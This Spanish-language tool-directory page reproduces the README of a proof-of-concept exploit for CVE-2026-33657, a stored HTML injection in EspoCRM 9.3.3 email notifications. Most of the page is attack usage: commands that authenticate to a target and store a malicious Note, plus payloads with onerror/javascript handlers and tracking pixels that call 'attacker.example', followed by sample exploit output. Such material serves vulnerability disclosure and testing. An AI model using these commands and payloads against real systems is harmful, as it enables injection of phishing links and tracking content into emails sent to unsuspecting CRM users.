Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-33657 — EspoCRM 9.3.3 - Inyección de HTML almacenada en notificaciones por correo electrónico | Kitploit
Herramientas/GitHubGitHub/entrovyx/cve-2026-33657
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubentrovyx/cve-2026-33657

CVE-2026-33657

EspoCRM 9.3.3 - Inyección de HTML almacenada en notificaciones por correo electrónico

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-33657 - Inyección de HTML almacenado en notificaciones por correo electrónico de EspoCRM 9.3.3

Prueba de concepto autenticada para la inyección de HTML almacenado en las notificaciones por correo electrónico de EspoCRM 9.3.3.

Resumen

EspoCRM 9.3.3 renderiza los correos de notificación de publicaciones de stream transformando el cuerpo de la nota con Markdown e insertando el HTML resultante en las plantillas de correo con llaves triples ({{{post}}}). Un usuario autenticado que pueda crear una publicación de stream y activar una notificación puede almacenar HTML controlado por el atacante que posteriormente se renderiza en el cuerpo del correo generado.

El exploit ejecuta la parte remota controlada por el atacante del flujo:

  1. Se autentica en EspoCRM.
  2. Opcionalmente, obtiene la huella de la versión con /api/v1/App/user.
  3. Crea una Note maliciosa que contiene HTML.
  4. Usa --mention o --target-user-id para poner en cola un destinatario de notificación.
  • Confirma que el payload está almacenado y que el destinatario de la notificación está presente en la respuesta de la API.
  • La entrega del correo ocurre cuando el trabajo normal SendEmailNotifications de EspoCRM o el cron procesa la notificación en cola.

    Versión afectada

    • Vulnerable: EspoCRM 9.3.3
    • Corregida: EspoCRM 9.3.4
    • Aviso: https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
    • CVE: CVE-2026-33657
    • CWE: CWE-80

    Requisitos

    • Python 3
    • requests
    • Credenciales válidas de EspoCRM
    • Capacidad para crear registros Note de stream
    • Un destinatario de notificación:
      • --mention <usuario> para notificaciones por correo de menciones, o
      • --target-user-id <id> para notificaciones dirigidas de publicaciones de stream

    Instalar la dependencia:

    root@kitploit:~
    python3 -m pip install requests
    

    Uso

    Ruta preferida basada en menciones:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u http://127.0.0.1:8083 \
      -U testuser \
      -P 'Admin12345!' \
      --mention admin
    

    Usar una URL de seguimiento personalizada:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --mention victim \
      --tracking-url https://attacker.example/pixel.gif
    

    Usar un payload HTML totalmente personalizado:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --mention victim \
      --payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
    

    Apuntar a un id de usuario específico en lugar de una mención:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --target-user-id 0123456789abcdef0 \
      --target-user-name 'Victim User'
    

    Solo obtener la huella de la versión, sin crear una nota:

    root@kitploit:~
    python3 CVE-2026-33657.py \
      -u https://target.example \
      -U user \
      -P 'password' \
      --detect-only
    

    Opciones

    root@kitploit:~
    -u, --url                 URL base de EspoCRM
    -U, --username            Usuario de EspoCRM
    -P, --password            Contraseña de EspoCRM
    --mention                 Usuario a mencionar, sin @
    --target-user-id          Id de usuario para notificaciones dirigidas de publicaciones de stream
    --target-user-name        Nombre mostrado para --target-user-id
    --payload                 Payload HTML sin procesar para almacenar en la Note
    --tracking-url            URL del píxel de seguimiento usada por el payload predeterminado
    --link-url                URL del enlace usada por el payload predeterminado
    --marker                  Texto marcador antepuesto al payload
    --detect-only             Solo obtener la huella de la versión; no crear una Note
    --skip-version-check      Omitir /api/v1/App/user antes de la explotación
    --force                   Continuar incluso si la huella de la versión no es 9.3.3
    --insecure                Deshabilitar la verificación del certificado TLS
    

    Salida esperada

    Una ejecución exitosa crea una nota maliciosa y confirma el destinatario de la notificación:

    root@kitploit:~
    [*] /api/v1/App/user: HTTP 200
    [*] Detected version: 9.3.3
    [+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
    [*] Creating malicious Note as testuser
    [*] Note response: HTTP 200 ...
    [+] Exploit payload stored in Note post.
    [+] Note id: 69fddeef8db756271
    [+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
    [+] Notification target list returned by API: 69fdcfb66c34ccb81
    [+] Complete remote trigger submitted.
    

    En una instancia vulnerable, el cuerpo del correo HTML generado conserva el HTML inyectado. Una captura de laboratorio se ve así:

    root@kitploit:~
    <img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
    <a href="javascript:alert(33657)" style="color:red">re-auth</a>
    

    Verificación en laboratorio

    En un laboratorio local de EspoCRM, después de ejecutar el exploit, active el trabajo de notificación:

    root@kitploit:~
    sudo -u www-data php command.php run-job SendEmailNotifications
    

    El cuerpo del correo resultante debe contener el HTML inyectado en la parte text/html.

    Notas

    • El exploit no necesita acceso de shell al objetivo; el acceso de shell solo es útil para la verificación local en laboratorio del trabajo de correo en cola.
    • Si la API informa @@version, el objetivo probablemente sea una compilación del árbol de fuentes. El script continúa porque el código subyacente puede seguir siendo la etiqueta vulnerable 9.3.3.
    • Si --mention no produce una mención analizada, verifique los messagePermission y mentionPermission del atacante, y confirme que el nombre de usuario objetivo existe y puede recibir notificaciones.
    Descargar herramienta